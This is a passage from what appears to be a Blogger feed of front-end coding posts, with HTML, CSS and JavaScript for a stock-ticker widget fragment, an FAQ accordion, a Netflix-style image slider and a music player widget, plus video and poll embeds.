hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 133px;">7</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 152px;">8</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 171px;">9</span></span></span><span class="" style="overflow: hidden; display: inline-block; position: relative;"><span class="" style="visibility: hidden;">9</span><span style="transition: transform 0.5s ease 0s; position: absolute; inset: 0px; transform: translateY(-171px);"><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 0px;">0</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 19px;">1</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 38px;">2</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 57px;">3</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 76px;">4</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 95px;">5</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 114px;">6</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 133px;">7</span><span class=" hiddenTicker" style="position: absolute; left: 0px; z-index: 10; top: 152px;">8</span><span class=" currentTicker" style="position: absolute; left: 0px; z-index: 10; top: 171px;">9</span></span></span></span>%)<span class="lpu58ChangeType">1D</span></div><div class="chip12Chip lpu68ChipDiv truncate"><span class="fs12 fw500">Commercial Serv</span></div></div></div><div id="sg021" class="onMount-appear-done onMount-enter-done"><div style="margin-bottom: 15px;"><div id="graph" class="sg021GraphDiv pos-rel"><div class="sg021AdvanceChart"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" height="20" width="20" class="clrGreen absolute-center"><path fill="none" d="M0 0h24v24H0z"></path><path d="M15 3l2.3 2.3-2.89 2.87 1.42 1.42L18.7 6.7 21 9V3h-6zM3 9l2.3-2.3 2.87 2.89 1.42-1.42L6.7 5.3 9 3H3v6zm6 12l-2.3-2.3 2.89-2.87-1.42-1.42L5.3 17.3 3 15v6h6zm12-6l-2.3 2.3-2.87-2.89-1.42 1.42 2.89 2.87L15 21h6v-6z"></path></svg></div><div style="height: 200px; margin-top: 10px;"><div class="pos-rel"><svg width="794" height="210"><g><path class="visx-linepath" d="M2,12.405063291142483L15.620689655172415,10L29.24137931034483,115.82278481012756L42.86206896551724,82.15189873417638L56.48275862068966,113.41772151899053L70.10344827586206,171.13924050632835L83.72413793103448,84.55696202531888L97.34482758620689,144.6835443037992L110.96551724137932,118.22784810126457L124.58620689655173,103.79746835443149L138.20689655172413,111.01265822784804L151.82758620689654,101.39240506329446L165.44827586206895,98.98734177215196L179.06896551724137,101.39240506329446L192.68965517241378,111.01265822784804L206.31034482758622,135.06329113924016L219.93103448275863,111.01265822784804L233.55172413793105,168.73417721519132L247.17241379310346,123.03797468354409L260.7931034482759,130.25316455696066L274.41379310344826,139.87341772151967L288.0344827586207,135.06329113924016L301.6551724137931,132.65822784810314L315.2758620689655,149.49367088607872L328.8965517241379,166.32911392404884L342.51724137931035,132.65822784810314L356.13793103448273,139.87341772151967L369.7586206896552,139.87341772151967L383.37931034482756,151.89873417721574L397,156.70886075949528L410.62068965517244,147.0886075949362L424.2413793103448,151.89873417721574L437.86206896551727,161.5189873417748L451.48275862068965,151.89873417721574L465.1034482758621,151.89873417721574L478.7241379310345,137.46835443038265L492.3448275862069,127.84810126582362L505.9655172413793,144.6835443037992L519.5862068965517,137.46835443038265L533.2068965517242,151.89873417721574L546.8275862068965,200L560.448275862069,190.37974683544095L574.0689655172414,187.97468354430393L587.6896551724138,200L601.3103448275862,200L614.9310344827586,200L628.551724137931,190.37974683544095L642.1724137931035,200L655.7931034482758,187.97468354430393L669.4137931034483,156.70886075949528L683.0344827586207,173.54430379747083L696.6551724137931,159.11392405063228L710.2758620689655,173.54430379747083L723.8965517241379,163.92405063291181L737.5172413793103,175.94936708860786L751.1379310344828,173.54430379747083L764.7586206896551,175.94936708860786L778.3793103448276,173.54430379747083L792,190.37974683544095" fill="transparent" stroke-linecap="round" stroke="var(--growwRed)" stroke-width="2" stroke-opacity="0.8" shape-rendering="geometricPrecision"></path><path class="visx-linepath" d="M2,NaNL792,NaN" fill="transparent" stroke-linecap="round" stroke="var(--subText)" stroke-width="1" stroke-opacity="0.3" shape-rendering="geometricPrecision" style="stroke-dasharray: 4.5, 2.5;"></path></g></svg><div style="top: 0px; left: 0px; box-shadow: none; padding: 0px; background-color: var(--constantTransparent); position: absolute; border-radius: 3px; transform: translate(0px, -15px);"></div></div></div></div><div class="valign-wrapper sg021yearWrapper"><div class="fs12 fw500 sg021ExchToggle">NSE</div><div class="valign-wrapper pos-rel"><div class="sg021padding1020"><span class="fs12 fw500 clrGreen">1D</span></div><div class="sg021padding1020"><span class="fs12 fw500 ">1W</span></div><div class="sg021padding1020"><span class="fs12 fw500 ">1M</span></div><div class="sg021padding1020"><span class="fs12 fw500 ">1Y</span></div><div class="sg021padding1020"><span class="fs12 fw500 ">3Y</span></div><div class="sg021padding1020"><span class="fs12 fw500 ">5Y</span></div><div class="sg021padding1020"><span class="fs12 fw500 ">All</span></div><div class="sg021greenLine sg021FirstGreenLine"></div></div><div class="sg021ExchToggle valign-wrapper sg021GraphSwitchIcon"><svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" height="20" width="20"><rect x="6.72" y="6.72" width="2.16" height="12.96" rx="1.08" fill="#EB5B3C"></rect><rect x="15.36" y="8.16" width="2.16" height="12.96" rx="1.08" fill="#EB5B3C"></rect><rect x="11.04" y="2.4" width="2.16" height="10.08" rx="1.08" fill="#00D09C"></rect><rect x="19.68" y="5.28" width="2.16" height="5.76" rx="1.08" fill="#00D09C"></rect><rect x="2.4" y="3.84" width="2.16" height="8.64" rx="1.08" fill="#00D09C"></rect></svg></div></div></div></div></div></div>Ankit Dalalhttp://www.blogger.com/profile/03764095608649565993noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-85444081284427036202022-10-02T08:17:00.003-07:002022-10-02T08:19:41.603-07:00test 1010<iframe frameborder="0" scrolling="no" marginheight="0" marginwidth="0"width="788.54" height="443" type="text/html" src="https://www.youtube.com/embed/DBXH9jJRaDk?autoplay=1&fs=1&iv_load_policy=3&showinfo=1&rel=1&cc_load_policy=0&start=0&end=0&origin=http://youtubeembedcode.com"><div><small><a href="https://youtubeembedcode.com/es/">youtubeembedcode.com/es/</a></small></div><div><small><a href="https://casinonutansvensklicenstrustly.se/">casinoutansvensklicenstrustly</a></small></div></iframe>ANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-81565584780275490632022-03-10T12:40:00.002-08:002022-03-10T12:40:53.244-08:00<iframe width="620" height="480" src="https://strawpoll.com/embed/polls/wAg3jbzm2n8" style="width: 100%; height: 480px;" frameborder="0" allowfullscreen></iframe>Ankit Dalalhttp://www.blogger.com/profile/03764095608649565993noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-37046275170617294632022-02-14T15:26:00.004-08:002022-02-14T15:28:35.118-08:00<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
<style>
@import url('https://fonts.googleapis.com/css?family=Hind:300,400&display=swap');
$bg: #fff;
$text: #7288a2;
$gray: #4d5974;
$lightgray: #e5e5e5;
$blue: #03b5d2;
* {
box-sizing: border-box;
&::before, &::after {
box-sizing: border-box;
}
}
body {
margin: 0;
padding: 0;
font-family: 'Hind', sans-serif;
background: $bg;
color: $gray;
display: flex;
min-height: 100vh;
}
.container {
margin: 0 auto;
padding: 4rem;
width: 48rem;
}
.accordion {
.accordion-item {
border-bottom: 1px solid $lightgray;
button[aria-expanded='true'] {
border-bottom: 1px solid $blue;
}
}
button {
position: relative;
display: block;
text-align: left;
width: 100%;
padding: 1em 0;
color: $text;
font-size: 1.15rem;
font-weight: 400;
border: none;
background: none;
outline: none;
&:hover, &:focus {
cursor: pointer;
color: $blue;
&::after {
cursor: pointer;
color: $blue;
border: 1px solid $blue;
}
}
.accordion-title {
padding: 1em 1.5em 1em 0;
}
.icon {
display: inline-block;
position: absolute;
top: 18px;
right: 0;
width: 22px;
height: 22px;
border: 1px solid;
border-radius: 22px;
&::before {
display: block;
position: absolute;
content: '';
top: 9px;
left: 5px;
width: 10px;
height: 2px;
background: currentColor;
}
&::after {
display: block;
position: absolute;
content: '';
top: 5px;
left: 9px;
width: 2px;
height: 10px;
background: currentColor;
}
}
}
button[aria-expanded='true'] {
color: $blue;
.icon {
&::after {
width: 0;
}
}
+ .accordion-content {
opacity: 1;
max-height: 9em;
transition: all 200ms linear;
will-change: opacity, max-height;
}
}
.accordion-content {
opacity: 0;
max-height: 0;
overflow: hidden;
transition: opacity 200ms linear, max-height 200ms linear;
will-change: opacity, max-height;
p {
font-size: 1rem;
font-weight: 300;
margin: 2em 0;
}
}
}
</style>
<script>
const items = document.querySelectorAll(".accordion button");
function toggleAccordion() {
const itemToggle = this.getAttribute('aria-expanded');
for (i = 0; i < items.length; i++) {
items[i].setAttribute('aria-expanded', 'false');
}
if (itemToggle == 'false') {
this.setAttribute('aria-expanded', 'true');
}
}
items.forEach(item => item.addEventListener('click', toggleAccordion));
</script>
<div class="container">
<h2>Frequently Asked Questions</h2>
<div class="accordion">
<div class="accordion-item">
<button id="accordion-button-1" aria-expanded="false"><span class="accordion-title">Why is the moon sometimes out during the day?</span><span class="icon" aria-hidden="true"></span></button>
<div class="accordion-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Elementum sagittis vitae et leo duis ut. Ut tortor pretium viverra suspendisse potenti.</p>
</div>
</div>
<div class="accordion-item">
<button id="accordion-button-2" aria-expanded="false"><span class="accordion-title">Why is the sky blue?</span><span class="icon" aria-hidden="true"></span></button>
<div class="accordion-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Elementum sagittis vitae et leo duis ut. Ut tortor pretium viverra suspendisse potenti.</p>
</div>
</div>
<div class="accordion-item">
<button id="accordion-button-3" aria-expanded="false"><span class="accordion-title">Will we ever discover aliens?</span><span class="icon" aria-hidden="true"></span></button>
<div class="accordion-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Elementum sagittis vitae et leo duis ut. Ut tortor pretium viverra suspendisse potenti.</p>
</div>
</div>
<div class="accordion-item">
<button id="accordion-button-4" aria-expanded="false"><span class="accordion-title">How much does the Earth weigh?</span><span class="icon" aria-hidden="true"></span></button>
<div class="accordion-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Elementum sagittis vitae et leo duis ut. Ut tortor pretium viverra suspendisse potenti.</p>
</div>
</div>
<div class="accordion-item">
<button id="accordion-button-5" aria-expanded="false"><span class="accordion-title">How do airplanes stay up?</span><span class="icon" aria-hidden="true"></span></button>
<div class="accordion-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Elementum sagittis vitae et leo duis ut. Ut tortor pretium viverra suspendisse potenti.</p>
</div>
</div>
</div>
</div>
Ankit Dalalhttp://www.blogger.com/profile/03764095608649565993noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-77299619233343373742022-02-02T01:15:00.003-08:002022-02-02T01:15:52.092-08:00Netflix<style>
/*
*
* Boiler Plate stuff
*
*********************************/
:root {
--movie-width: 15.5vw;
--movie-height: 200px;
--arrow-width: 50px;
--slider-py: 200px;
}
@media only screen and (max-width: 1000px) {
:root {
--movie-width: 25vw;
}
}
body {
background-color: #141414;
font-family: "Heebo", sans-serif;
}
.container {
position: relative;
}
.logo {
color: red;
font-size: 4rem;
text-align: center;
}
/*
*
* THE SLIDER CONTAINER
*
*********************************/
.slider {
width: 100%;
overflow-x: scroll;
overflow-y: visible;
white-space: nowrap;
position: relative;
padding-top: var(--slider-py);
padding-bottom: var(--slider-py);
}
/*
*
* SLIDER INDICATORS
*
*********************************/
.container-indicators {
width: 100px;
position: absolute;
right: 0;
top: calc(var(--slider-py) - 60px);
visibility: hidden;
}
.indicator {
width: 15px;
height: 2px;
background-color: grey;
display: inline-block;
}
.indicator.active {
background-color: white;
}
/*
*
* MOVIE ELEMENTS!
*
*********************************/
.movie {
width: var(--movie-width);
height: var(--movie-height);
display: inline-block;
position: relative;
color: white;
padding: 0 2px;
font-size: 0.8rem;
transition: all 0.8s ease-in-out;
}
.movie:nth-of-type(1) {
margin-left: var(--arrow-width);
}
.movie img {
object-fit: cover;
height: 100%;
width: 100%;
border-radius: 10px;
}
.description {
position: absolute;
display: none;
z-index: 9999;
background-color: #272727;
width: var(--movie-width);
margin-top: -10px;
padding: 10px 0;
border-bottom-left-radius: 10px;
border-bottom-right-radius: 10px;
}
@media only screen and (min-width: 900px) {
.movie:hover {
transform: scale(1.3);
z-index: 2;
}
/* Make description visible when movie is hovered */
.movie:hover > .description {
display: block;
}
.movie:hover > img {
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
}
}
.description__buttons-container {
display: flex;
flex-direction: row;
padding: 10px;
}
.description__text-container {
padding: 10px;
}
.description__match {
color: green;
}
.description__rating {
outline: 1px solid white;
padding: 0 3px;
margin: 0 5px;
}
.description__button {
display: flex;
align-items: center;
justify-content: center;
width: 20px;
height: 20px;
border: 2px solid white;
text-align: center;
font-size: 8px;
margin-right: 5px;
border-radius: 100%;
}
.description__button:hover {
border-color: grey;
color: grey;
cursor: pointer;
}
.description__button:nth-of-type(5) {
margin-left: auto;
margin-right: 0;
}
/*
*
* BUTTONS
*
*********************************/
.btn-nav {
width: var(--arrow-width);
height: var(--movie-height);
border-radius: 5px;
position: absolute;
bottom: 0;
background-color: rgba(0, 0, 0, 0.3);
outline: none;
border: none;
color: white;
top: var(--slider-py);
z-index: 5;
visibility: hidden;
}
#moveLeft {
left: 0;
}
#moveRight {
right: 0;
}
@media only screen and (max-width: 900px) {
.btn-nav {
display: none;
}
}
@media only screen and (min-width: 901px) {
.container:hover .btn-nav,
.container:hover .container-indicators {
visibility: visible;
}
}
</style>
<script>
const slider = document.querySelector(".slider");
const btnLeft = document.getElementById("moveLeft");
const btnRight = document.getElementById("moveRight");
const indicators = document.querySelectorAll(".indicator");
let baseSliderWidth = slider.offsetWidth;
let activeIndex = 0; // the current page on the slider
let movies = [
{
src:
"https://images.unsplash.com/photo-1585951237318-9ea5e175b891?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=1350&q=80",
},
{
src:
"https://images.unsplash.com/photo-1579566346927-c68383817a25?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=1350&q=80",
},
{
src:
"https://images.unsplash.com/photo-1594736797933-d0501ba2fe65?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=674&q=80",
},
{
src:
"https://images.unsplash.com/photo-1617182635496-c5c474367085?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=634&q=80",
},
{
src:
"https://images.unsplash.com/photo-1611419010196-a360856fc42f?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=700&q=80",
},
{
src:
"https://images.unsplash.com/photo-1528495612343-9ca9f4a4de28?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=1267&q=80",
},
{
src:
"https://images.unsplash.com/photo-1518715303843-586e350765b2?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=1350&q=80",
},
{
src:
"https://images.unsplash.com/photo-1617258683488-df59909f25f0?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=644&q=80",
},
{
src:
"https://images.unsplash.com/photo-1543862809-2c9e0bcdc075?ixlib=rb-1.2.1&ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&auto=format&fit=crop&w=564&q=80",
},
{
src:
"https://images.unsplash.com/photo-1579156412503-f22426cc6386?ixlib=rb-1.2.1&ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&auto=format&fit=crop&w=1352&q=80",
},
{
src:
"https://images.unsplash.com/photo-1514068574489-503a8eb91592?ixlib=rb-1.2.1&ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&auto=format&fit=crop&w=1390&q=80",
},
{
src:
"https://images.unsplash.com/photo-1521714161819-15534968fc5f?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=1350&q=80",
},
{
src:
"https://images.unsplash.com/photo-1572188863110-46d457c9234d?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=1350&q=80",
},
{
src:
"https://images.unsplash.com/photo-1579702455224-c0dd4ac78234?ixlib=rb-1.2.1&ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&auto=format&fit=crop&w=1369&q=80",
},
{
src:
"https://images.unsplash.com/photo-1575470180257-7183ddca844f?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=701&q=80",
},
{
src:
"https://images.unsplash.com/photo-1584253660192-de72b033c220?ixlib=rb-1.2.1&ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&auto=format&fit=crop&w=1350&q=80",
},
{
src:
"https://images.unsplash.com/photo-1611523792722-16952e48cffa?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=700&q=80",
},
{
src:
"https://images.unsplash.com/photo-1536300007881-7e482242baa5?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=1350&q=80",
},
];
// Fill the slider with all the movies in the "movies" array
function populateSlider() {
movies.forEach((image) => {
// Clone the initial movie thats included in the html, then replace the image with a different one
const newMovie = document.getElementById("movie0");
let clone = newMovie.cloneNode(true);
let img = clone.querySelector("img");
img.src = image.src;
slider.insertBefore(clone, slider.childNodes[slider.childNodes.length - 1]);
});
}
populateSlider();
populateSlider();
// delete the initial movie in the html
const initialMovie = document.getElementById("movie0");
initialMovie.remove();
// Update the indicators that show which page we're currently on
function updateIndicators(index) {
indicators.forEach((indicator) => {
indicator.classList.remove("active");
});
let newActiveIndicator = indicators[index];
newActiveIndicator.classList.add("active");
}
// Scroll Left button
btnLeft.addEventListener("click", (e) => {
let movieWidth = document.querySelector(".movie").getBoundingClientRect()
.width;
let scrollDistance = movieWidth * 6; // Scroll the length of 6 movies. TODO: make work for mobile because (4 movies/page instead of 6)
slider.scrollBy({
top: 0,
left: -scrollDistance,
behavior: "smooth",
});
activeIndex = (activeIndex - 1) % 3;
console.log(activeIndex);
updateIndicators(activeIndex);
});
// Scroll Right button
btnRight.addEventListener("click", (e) => {
let movieWidth = document.querySelector(".movie").getBoundingClientRect()
.width;
let scrollDistance = movieWidth * 6; // Scroll the length of 6 movies. TODO: make work for mobile because (4 movies/page instead of 6)
console.log(`movieWidth = ${movieWidth}`);
console.log(`scrolling right ${scrollDistance}`);
// if we're on the last page
if (activeIndex == 2) {
// duplicate all the items in the slider (this is how we make 'looping' slider)
populateSlider();
slider.scrollBy({
top: 0,
left: +scrollDistance,
behavior: "smooth",
});
activeIndex = 0;
updateIndicators(activeIndex);
} else {
slider.scrollBy({
top: 0,
left: +scrollDistance,
behavior: "smooth",
});
activeIndex = (activeIndex + 1) % 3;
console.log(activeIndex);
updateIndicators(activeIndex);
}
});
// slider.addEventListener("scroll", (e) => {
// console.log(slider.scrollLeft);
// console.log(slider.offsetWidth);
// });
</script>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Notflix by Andrew Tran</title>
<link rel="stylesheet" href="style.css">
<link rel="stylesheet" href="base.css">
<script src="https://kit.fontawesome.com/a0043d9bc2.js" crossorigin="anonymous"></script>
</head>
<body>
<h1 class="logo">Notflix</h1>
<div class="container">
<button type="button" id="moveLeft" class="btn-nav">
ᐊ
</button>
<div class="container-indicators">
<div class="indicator active" data-index=0></div>
<div class="indicator" data-index=1></div>
<div class="indicator" data-index=2></div>
</div>
<div class="slider" id="mySlider">
<div class="movie" id="movie0">
<img
src="https://images.unsplash.com/photo-1585951237318-9ea5e175b891?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=1350&q=80"
alt="" srcset="">
<div class="description">
<div class="description__buttons-container">
<div class="description__button"><i class="fas fa-play"></i></div>
<div class="description__button"><i class="fas fa-plus"></i></div>
<div class="description__button"><i class="fas fa-thumbs-up"></i></div>
<div class="description__button"><i class="fas fa-thumbs-down"></i></div>
<div class="description__button"><i class="fas fa-chevron-down"></i></div>
</div>
<div class="description__text-container">
<span class="description__match">97% Match</span>
<span class="description__rating">TV-14</span>
<span class="description__length">2h 11m</span>
<br><br>
<span>Explosive</span>
<span>·</span>
<span>Exciting</span>
<span>·</span>
<span>Family</span>
</div>
</div>
</div>
</div>
<button type="button" id="moveRight" class="btn-nav">
ᐅ
</button>
</div>
<script src="script.js"></script>
</body>
</html><strike></strike>
Ankit Dalalhttp://www.blogger.com/profile/03764095608649565993noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-85490280548945540322022-02-02T00:42:00.002-08:002022-02-02T00:42:28.127-08:00Music Player<style>
@import url('https://fonts.googleapis.com/css2?family=Quicksand:wght@700&display=swap');
html {
box-sizing: border-box ;
--parent-height : 20em ;
--duration: 1s ;
--duration-text-wrap: 12s 1.5s cubic-bezier(0.82, 0.82, 1, 1.01) ;
--cubic-header: var(--duration) cubic-bezier(0.71, 0.21, 0.3, 0.95) ;
--cubic-slider : var(--duration) cubic-bezier(0.4, 0, 0.2, 1) ;
--cubic-play-list : .35s var(--duration) cubic-bezier(0, 0.85, 0.11, 1.64) ;
--cubic-slider-context : cubic-bezier(1, -0.01, 1, 1.01) ;
}
html *,
html *::before,
html *::after {
box-sizing: inherit ;
scrollbar-width: none ;
}
body{
margin: 0 ;
height: 100vh ;
display: flex ;
user-select: none ;
align-items: center ;
justify-content: center ;
background-color: #e5e7e9 ;
font-family: 'Quicksand', sans-serif ;
-webkit-tap-highlight-color: transparent ;
transition: background-color var(--cubic-slider) ;
}
.img {
width: 100% ;
flex-shrink: 0;
display: block ;
object-fit: cover ;
}
.list {
margin: 0 ;
padding: 0 ;
list-style-type: none ;
}
.flex {
display: flex ;
align-items: center ;
justify-content: space-between ;
}
.uppercase{
text-transform: uppercase ;
}
.player {
width: 17.15em ;
display: flex ;
overflow: hidden ;
font-size: 1.22em ;
border-radius: 1.35em ;
flex-direction: column ;
background-color: white ;
height: var(--parent-height) ;
}
.player__header {
z-index: 1 ;
gap: 0 .4em ;
width: 100% ;
display: flex;
height: 5.85em ;
flex-shrink: 0 ;
position: relative;
align-items: flex-start ;
border-radius: inherit ;
justify-content: flex-end ;
background-color: white ;
padding: .95em 0.6em 0 1.2em ;
box-shadow: 0 2px 6px 1px #0000001f ;
transition: height var(--cubic-header), box-shadow var(--duration), padding var(--duration) ease-in-out ;
}
.player__header.open-header {
height: 100% ;
padding-left: 0 ;
padding-right: 0 ;
box-shadow: unset ;
}
.player__img {
width: 3.22em ;
height: 3.22em ;
border-radius: 1.32em ;
}
.player__img--absolute {
top: 1.4em ;
left: 1.2em ;
position: absolute ;
}
.slider {
flex-shrink: 0 ;
overflow: hidden ;
transition: width var(--cubic-header), height var(--cubic-header), top var(--cubic-header), left var(--cubic-header);
}
.slider.open-slider{
top: 0 ;
left: 0 ;
width: 100% ;
height: 14.6em ;
}
.slider__content {
display: flex ;
height: 100% ;
will-change : transform ;
transition: transform var(--cubic-slider);
}
.slider__img {
filter: brightness(75%) ;
}
.slider__name,
.slider__title {
overflow: hidden ;
white-space: nowrap ;
}
.text-wrap {
display: block ;
white-space: pre ;
width: fit-content ;
animation: text-wrap var(--duration-text-wrap) infinite ;
}
@keyframes text-wrap {
75%{
transform: translate3d(-51.5%, 0, 0) ;
}
100%{
transform: translate3d(-51.5%, 0, 0) ;
}
}
.player__button {
all: unset ;
z-index: 100 ;
width: 2.5em ;
height: 2.5em ;
cursor: pointer ;
}
.playlist {
transform: scale(0) ;
transition: transform calc(var(--duration) / 2) ;
}
.slider.open-slider .playlist {
transform: scale(1) ;
transition: transform var(--cubic-play-list) ;
}
.player__button--absolute--nw {
top: 5.5% ;
left: 5.5% ;
position: absolute ;
}
.player__button--absolute--center {
top: 0 ;
left: 0 ;
right: 0 ;
bottom: 0 ;
margin: auto ;
position: absolute ;
}
img[alt ="pause-icon"] {
display: none ;
}
.player__controls {
width: 77% ;
gap: .5em 0 ;
display: flex ;
flex-wrap: wrap ;
align-items: center ;
will-change: contents ;
align-content: center ;
justify-content: center ;
transition: transform var(--cubic-header) , width var(--cubic-header) ;
}
.player__controls.move {
width: 88% ;
transform: translate3d(-1.1em , calc(var(--parent-height) - 153%) , 0) ;
}
.player__context {
margin: 0 ;
width: 100% ;
display: flex ;
line-height: 1.8 ;
flex-direction: column ;
justify-content: center ;
text-transform: capitalize ;
}
.slider__context {
width: 56.28% ;
cursor: pointer ;
text-align: center ;
padding-bottom: .2em ;
will-change: contents ;
transition: width var(--cubic-header) ;
animation: calc(var(--duration) / 2) var(--cubic-slider-context) ;
}
@keyframes opacity {
0% {
opacity: 0 ;
}
90%{
opacity: 1 ;
}
}
.player__controls.move .slider__context{
width: 49.48% ;
}
.player__title {
font-size: .7em ;
font-weight: bold ;
color: #00000086 ;
}
.progres {
width: 90% ;
height: .25em ;
cursor: pointer ;
border-radius: 1em ;
touch-action : none ;
background-color: #e5e7ea ;
transition: width var(--cubic-header) ;
}
.player__controls.move .progres{
width: 98% ;
}
.progres__filled {
width: 0% ;
height: 100% ;
display: flex ;
position: relative ;
align-items: center ;
border-radius: inherit ;
background-color: #78adfe ;
}
.progres__filled::before {
right: 0 ;
width: .35em ;
content: " " ;
height: .35em ;
border-radius: 50% ;
position: absolute ;
background-color: #5781bd ;
}
.player__playlist {
height: 100% ;
overflow: auto ;
padding: 1.05em .9em 0 1.2em ;
}
.player__playlist::-webkit-scrollbar {
width: 0 ;
}
.player__song {
/* gap: 0 .65em ; */
display: flex ;
cursor: pointer ;
margin-bottom: .5em ;
padding-bottom: .7em ;
border-bottom: .1em solid #d8d8d859 ;
}
.player__song .player__context {
line-height: 1.5 ;
margin-left: .65em ;
}
.player__song-name {
font-size: .88em ;
}
.player__song-time {
font-size: .65em ;
font-weight: bold ;
color: #00000079 ;
height: fit-content ;
align-self: flex-end ;
}
.audio {
display: none !important ;
}
</style>
<script>
// Designed by: Mauricio Bucardo
// Original image: https://dribbble.com/shots/6957353-Music-Player-Widget
"use strict";
// add elemnts
const bgBody = ["#e5e7e9", "#ff4545", "#f8ded3", "#ffc382", "#f5eda6", "#ffcbdc", "#dcf3f3"];
const body = document.body;
const player = document.querySelector(".player");
const playerHeader = player.querySelector(".player__header");
const playerControls = player.querySelector(".player__controls");
const playerPlayList = player.querySelectorAll(".player__song");
const playerSongs = player.querySelectorAll(".audio");
const playButton = player.querySelector(".play");
const nextButton = player.querySelector(".next");
const backButton = player.querySelector(".back");
const playlistButton = player.querySelector(".playlist");
const slider = player.querySelector(".slider");
const sliderContext = player.querySelector(".slider__context");
const sliderName = sliderContext.querySelector(".slider__name");
const sliderTitle = sliderContext.querySelector(".slider__title");
const sliderContent = slider.querySelector(".slider__content");
const sliderContentLength = playerPlayList.length - 1;
const sliderWidth = 100;
let left = 0;
let count = 0;
let song = playerSongs[count];
let isPlay = false;
const pauseIcon = playButton.querySelector("img[alt = 'pause-icon']");
const playIcon = playButton.querySelector("img[alt = 'play-icon']");
const progres = player.querySelector(".progres");
const progresFilled = progres.querySelector(".progres__filled");
let isMove = false;
// creat functions
function openPlayer() {
playerHeader.classList.add("open-header");
playerControls.classList.add("move");
slider.classList.add("open-slider");
}
function closePlayer() {
playerHeader.classList.remove("open-header");
playerControls.classList.remove("move");
slider.classList.remove("open-slider");
}
function next(index) {
count = index || count;
if (count == sliderContentLength) {
count = count;
return;
}
left = (count + 1) * sliderWidth;
left = Math.min(left, (sliderContentLength) * sliderWidth);
sliderContent.style.transform = `translate3d(-${left}%, 0, 0)`;
count++;
run();
}
function back(index) {
count = index || count;
if (count == 0) {
count = count;
return;
}
left = (count - 1) * sliderWidth;
left = Math.max(0, left);
sliderContent.style.transform = `translate3d(-${left}%, 0, 0)`;
count--;
run();
}
function changeSliderContext() {
